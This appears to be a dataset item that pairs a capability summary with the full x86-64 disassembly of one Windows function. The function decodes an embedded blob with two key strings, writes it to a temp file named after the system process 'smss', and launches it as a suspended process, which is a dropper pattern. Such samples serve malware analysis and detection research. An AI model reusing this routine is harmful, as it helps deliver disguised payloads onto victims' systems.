Function at 0x4010e3
Capabilities:
Create process on windows
Create process suspended
Get common file path
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x530
lea rax, str.RXR3xPZZ3o3VQYtt
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov qword [rbp - 0x28], rax
lea rax, str.RSpzoqbqN1LJoBGM
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov qword [rbp - 0x30], rax
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x28]
mov r8, rax
lea rax, str.RXR3xPZZ3o3VQYtt
mov r11, rax
lea rax, [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x30]
mov r8, rax
lea rax, str.RSpzoqbqN1LJoBGM
mov r11, rax
lea rax, [rbp - 0x20]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memcpy
lea rax, str.RXR3xPZZ3o3VQYtt
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, str.RSpzoqbqN1LJoBGM
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov rax, qword [0x0066e428]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
cmp rax, 0
jne 0x4011f5
mov eax, 1
jmp 0x401482
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x10]
mov r9, rax
mov rax, qword [rbp - 0x38]
mov r8, rax
mov eax, dword [0x0066e428]
mov r11, rax
lea rax, [0x00404022]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov dword [rbp - 0x3c], eax
lea rax, [rbp - 0x244]
mov r11, rax
mov eax, 0x104
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempPathW
lea rax, [rbp - 0x44c]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, str.smss
mov r11, rax
lea rax, [rbp - 0x244]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempFileNameW
lea rax, [0x0066e43a]
mov r11, rax
lea rax, [rbp - 0x44c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__wfopen
mov qword [rbp - 0x458], rax
mov rax, qword [rbp - 0x458]
cmp rax, 0
je 0x4012fb
mov eax, dword [rbp - 0x3c]
movsxd rax, eax
mov rcx, qword [rbp - 0x458]
mov r9, rcx
mov r8, rax
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x458]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
jmp 0x401305
mov eax, 0xffffffff
jmp 0x401482
mov eax, 0x68
mov dword [rbp - 0x4c0], eax
movabs rax, 0x64
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4bc]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0
mov qword [rbp - 0x4d8], rax
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 1
mov dword [rbp - 0x484], eax
mov eax, 0
mov word [rbp - 0x480], ax
lea rax, [rbp - 0x4d8]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x4c0]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 4
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
lea rax, [rbp - 0x44c]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_CreateProcessW
cmp eax, 0
je 0x401420
jmp 0x40142a
mov eax, 0xffffffff
jmp 0x401482
mov rax, qword [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_ResumeThread
mov eax, 0xffffffff
mov r11, rax
mov rax, qword [rbp - 0x4d8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_WaitForSingleObject
mov rax, qword [rbp - 0x4d8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov rax, qword [rbp - 0x4d0]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_CloseHandle
mov eax, 0
leave
ret